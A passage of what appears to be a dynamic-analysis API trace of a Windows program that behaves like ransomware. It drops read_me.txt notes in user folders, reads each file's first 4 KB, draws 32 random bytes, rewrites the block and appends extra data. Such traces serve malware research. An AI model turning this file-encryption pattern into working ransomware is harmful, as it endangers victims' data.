lpSrch="read_me.txt") returned="read_me.txt" [0085.845] CloseHandle (hObject=0x89c) returned 1 [0085.845] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b00f4f0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1b00f4f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b00f4f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 0 [0085.845] FindClose (in: hFindFile=0x32fc1c8 | out: hFindFile=0x32fc1c8) returned 1 [0085.845] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Pictures\\read_me.txt") returned 41 [0085.845] GetProcessHeap () returned 0x540000 [0085.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4312140 | out: hHeap=0x540000) returned 1 [0085.845] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 96 [0085.845] GetProcessHeap () returned 0x540000 [0085.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42520e0 | out: hHeap=0x540000) returned 1 [0085.849] GetProcessHeap () returned 0x540000 [0085.849] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4312140 [0085.850] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Recent\\*") returned 29 [0085.850] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Recent\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b00f4f0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1b00f4f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b00f4f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 0xffffffff [0085.850] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Recent\\read_me.txt") returned 39 [0085.850] GetProcessHeap () returned 0x540000 [0085.850] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4312140 | out: hHeap=0x540000) returned 1 [0085.851] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 97 [0085.851] GetProcessHeap () returned 0x540000 [0085.851] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44900f0 | out: hHeap=0x540000) returned 1 [0085.851] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.851] ReadFile (in: hFile=0x8e4, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0085.851] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.852] GetProcessHeap () returned 0x540000 [0085.852] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0085.852] GetProcessHeap () returned 0x540000 [0085.852] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0085.852] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0085.852] GetProcessHeap () returned 0x540000 [0085.852] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0085.852] ReadFile (in: hFile=0x8e4, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0085.907] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.908] WriteFile (in: hFile=0x8e4, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0085.908] GetProcessHeap () returned 0x540000 [0085.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0085.908] GetProcessHeap () returned 0x540000 [0085.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.908] GetProcessHeap () returned 0x540000 [0085.908] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0085.908] GetProcessHeap () returned 0x540000 [0085.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.908] GetProcessHeap () returned 0x540000 [0085.908] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0085.908] GetProcessHeap () returned 0x540000 [0085.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.908] GetProcessHeap () returned 0x540000 [0085.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.908] GetProcessHeap () returned 0x540000 [0085.908] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.908] GetProcessHeap () returned 0x540000 [0085.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.908] GetProcessHeap () returned 0x540000 [0085.908] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.908] GetProcessHeap () returned 0x540000 [0085.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.908] GetProcessHeap () returned 0x540000 [0085.908] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.908] GetProcessHeap () returned 0x540000 [0085.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.908] GetProcessHeap () returned 0x540000 [0085.908] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.908] GetProcessHeap () returned 0x540000 [0085.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.908] GetProcessHeap () returned 0x540000 [0085.908] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.908] GetProcessHeap () returned 0x540000 [0085.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.908] GetProcessHeap () returned 0x540000 [0085.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.909] GetProcessHeap () returned 0x540000 [0085.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.909] GetProcessHeap () returned 0x540000 [0085.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.909] GetProcessHeap () returned 0x540000 [0085.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.909] GetProcessHeap () returned 0x540000 [0085.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.909] GetProcessHeap () returned 0x540000 [0085.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.909] GetProcessHeap () returned 0x540000 [0085.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.909] GetProcessHeap () returned 0x540000 [0085.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.909] GetProcessHeap () returned 0x540000 [0085.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.909] GetProcessHeap () returned 0x540000 [0085.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.909] GetProcessHeap () returned 0x540000 [0085.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.909] GetProcessHeap () returned 0x540000 [0085.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.909] GetProcessHeap () returned 0x540000 [0085.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.909] GetProcessHeap () returned 0x540000 [0085.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.909] GetProcessHeap () returned 0x540000 [0085.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.909] GetProcessHeap () returned 0x540000 [0085.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.909] GetProcessHeap () returned 0x540000 [0085.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.909] GetProcessHeap () returned 0x540000 [0085.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.909] GetProcessHeap () returned 0x540000 [0085.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.909] GetProcessHeap () returned 0x540000 [0085.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.909] GetProcessHeap () returned 0x540000 [0085.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.910] GetProcessHeap () returned 0x540000 [0085.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0085.910] GetProcessHeap () returned 0x540000 [0085.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.910] GetProcessHeap () returned 0x540000 [0085.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0085.910] GetProcessHeap () returned 0x540000 [0085.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0085.910] GetProcessHeap () returned 0x540000 [0085.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0085.910] GetProcessHeap () returned 0x540000 [0085.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0085.910] GetProcessHeap () returned 0x540000 [0085.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0085.910] GetProcessHeap () returned 0x540000 [0085.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0085.910] GetProcessHeap () returned 0x540000 [0085.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.910] GetProcessHeap () returned 0x540000 [0085.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0085.910] GetProcessHeap () returned 0x540000 [0085.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.910] GetProcessHeap () returned 0x540000 [0085.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.910] GetProcessHeap () returned 0x540000 [0085.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.910] GetProcessHeap () returned 0x540000 [0085.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.910] GetProcessHeap () returned 0x540000 [0085.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.910] GetProcessHeap () returned 0x540000 [0085.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.910] GetProcessHeap () returned 0x540000 [0085.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.911] GetProcessHeap () returned 0x540000 [0085.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.911] GetProcessHeap () returned 0x540000 [0085.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.911] GetProcessHeap () returned 0x540000 [0085.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.911] GetProcessHeap () returned 0x540000 [0085.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.911] GetProcessHeap () returned 0x540000 [0085.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.911] GetProcessHeap () returned 0x540000 [0085.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.911] GetProcessHeap () returned 0x540000 [0085.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.911] GetProcessHeap () returned 0x540000 [0085.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.911] GetProcessHeap () returned 0x540000 [0085.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.911] GetProcessHeap () returned 0x540000 [0085.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.911] GetProcessHeap () returned 0x540000 [0085.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.911] GetProcessHeap () returned 0x540000 [0085.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.911] GetProcessHeap () returned 0x540000 [0085.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.911] GetProcessHeap () returned 0x540000 [0085.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.911] GetProcessHeap () returned 0x540000 [0085.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.912] GetProcessHeap () returned 0x540000 [0085.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.912] GetProcessHeap () returned 0x540000 [0085.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.912] GetProcessHeap () returned 0x540000 [0085.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0085.912] GetProcessHeap () returned 0x540000 [0085.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.912] GetProcessHeap () returned 0x540000 [0085.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0085.912] GetProcessHeap () returned 0x540000 [0085.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0085.912] GetProcessHeap () returned 0x540000 [0085.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.912] GetProcessHeap () returned 0x540000 [0085.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0085.912] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.912] WriteFile (in: hFile=0x8e4, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0085.912] WriteFile (in: hFile=0x8e4, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0085.912] GetProcessHeap () returned 0x540000 [0085.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0085.912] GetProcessHeap () returned 0x540000 [0085.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0085.912] GetProcessHeap () returned 0x540000 [0085.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0085.912] CloseHandle (hObject=0x8e4) returned 1 [0085.914] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 91 [0085.914] SetFilePointerEx (in: hFile=0x8e8, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.914] ReadFile (in: hFile=0x8e8, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0085.914] SetFilePointerEx (in: hFile=0x8e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.914] GetProcessHeap () returned 0x540000 [0085.914] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0085.914] GetProcessHeap () returned 0x540000 [0085.914] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0085.914] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0085.914] GetProcessHeap () returned 0x540000 [0085.914] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0085.914] ReadFile (in: hFile=0x8e8, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0086.014] SetFilePointerEx (in: hFile=0x8e8, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.014] WriteFile (in: hFile=0x8e8, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0086.014] GetProcessHeap () returned 0x540000 [0086.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.014] GetProcessHeap () returned 0x540000 [0086.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.014] GetProcessHeap () returned 0x540000 [0086.015] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.015] GetProcessHeap () returned 0x540000 [0086.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.015] GetProcessHeap () returned 0x540000 [0086.015] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f280 [0086.015] GetProcessHeap () returned 0x540000 [0086.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.015] GetProcessHeap () returned 0x540000 [0086.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.015] GetProcessHeap () returned 0x540000 [0086.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.015] GetProcessHeap () returned 0x540000 [0086.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.015] GetProcessHeap () returned 0x540000 [0086.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.015] GetProcessHeap () returned 0x540000 [0086.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.015] GetProcessHeap () returned 0x540000 [0086.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.015] GetProcessHeap () returned 0x540000 [0086.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.015] GetProcessHeap () returned 0x540000 [0086.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.015] GetProcessHeap () returned 0x540000 [0086.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.015] GetProcessHeap () returned 0x540000 [0086.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.015] GetProcessHeap () returned 0x540000 [0086.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.015] GetProcessHeap () returned 0x540000 [0086.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.015] GetProcessHeap () returned 0x540000 [0086.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.015] GetProcessHeap () returned 0x540000 [0086.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.015] GetProcessHeap () returned 0x540000 [0086.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.015] GetProcessHeap () returned 0x540000 [0086.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.015] GetProcessHeap () returned 0x540000 [0086.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.016] GetProcessHeap () returned 0x540000 [0086.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.016] GetProcessHeap () returned 0x540000 [0086.016] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.016] GetProcessHeap () returned 0x540000 [0086.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.016] GetProcessHeap () returned 0x540000 [0086.016] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.016] GetProcessHeap () returned 0x540000 [0086.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.016] GetProcessHeap () returned 0x540000 [0086.016] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.016] GetProcessHeap () returned 0x540000 [0086.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.016] GetProcessHeap () returned 0x540000 [0086.016] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.016] GetProcessHeap () returned 0x540000 [0086.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.016] GetProcessHeap () returned 0x540000 [0086.016] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.016] GetProcessHeap () returned 0x540000 [0086.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.016] GetProcessHeap () returned 0x540000 [0086.016] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.016] GetProcessHeap () returned 0x540000 [0086.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.016] GetProcessHeap () returned 0x540000 [0086.016] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.016] GetProcessHeap () returned 0x540000 [0086.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.016] GetProcessHeap () returned 0x540000 [0086.016] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.016] GetProcessHeap () returned 0x540000 [0086.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.016] GetProcessHeap () returned 0x540000 [0086.016] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.016] GetProcessHeap () returned 0x540000 [0086.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.016] GetProcessHeap () returned 0x540000 [0086.016] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.016] GetProcessHeap () returned 0x540000 [0086.017] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.017] GetProcessHeap () returned 0x540000 [0086.017] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345d10 [0086.017] GetProcessHeap () returned 0x540000 [0086.017] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.017] GetProcessHeap () returned 0x540000 [0086.017] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.017] GetProcessHeap () returned 0x540000 [0086.017] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345d10 | out: hHeap=0x540000) returned 1 [0086.017] GetProcessHeap () returned 0x540000 [0086.017] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.017] GetProcessHeap () returned 0x540000 [0086.017] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.017] GetProcessHeap () returned 0x540000 [0086.017] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) 